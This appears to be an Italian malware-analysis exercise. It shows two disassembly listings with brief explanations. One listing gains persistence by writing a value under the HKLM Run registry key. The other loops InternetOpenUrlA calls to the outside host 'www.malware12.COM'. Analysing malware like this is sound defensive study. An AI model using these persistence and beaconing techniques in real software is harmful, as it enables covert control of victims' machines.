

Codice malware

```

0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi              ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx              ; lpString
00402887  mov     bl, 1
00402889  call    ds:strlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx              ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax              ; lpData
0040289D  push    1                ; dwType
0040289F  push    0                ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW

```

Spiegazione:

Il Malware ottiene la persistenza attraverso le key dei processi modificandole a suo favore da alcune stringhe si nota dove si vuole connettere e quale key cerca

Il Client utilizzato è:

3 riga

Software\\Microsoft\\Windows\\CurrentVersion\\Run

Codice 2

```

.text:00401150 ; ::::::::::::::: S U B R O U T I N E :::::::::::::::
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+ECf0
.text:00401150 push esi
.text:00401151 push edi
.text:00401152 push 0 ; dwFlags
.text:00401154 push 0 ; lpszProxyBypass
.text:00401156 push 0 ; lpszProxy
.text:00401158 push 1 ; dwAccessType
.text:0040115A push offset szAgent ; "Internet Explorer 8.0"
.text:0040115F call ds:InternetOpenA
.text:00401165 mov edi, ds:InternetOpenUrlA
.text:0040116B mov esi, eax
.text:0040116D
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+30↓j
.text:0040116D push 0 ; dwContext
.text:0040116F push 80000000h ; dwFlags
.text:00401174 push 0 ; dwHeadersLength
.text:00401176 push 0 ; lpszHeaders
.text:00401178 push offset szUrl ; "http://www.malware12.COM"
.text:0040117D push esi ; hInternet
.text:0040117E call edi ; InternetOpenUrlA
.text:00401180 jmp short loc_40116D
.text:00401180 StartAddress endp
.text:00401180

```

Nella 2 foto abbiamo la funzione dove la chiamata viene effettuata dal malware verso un link/URL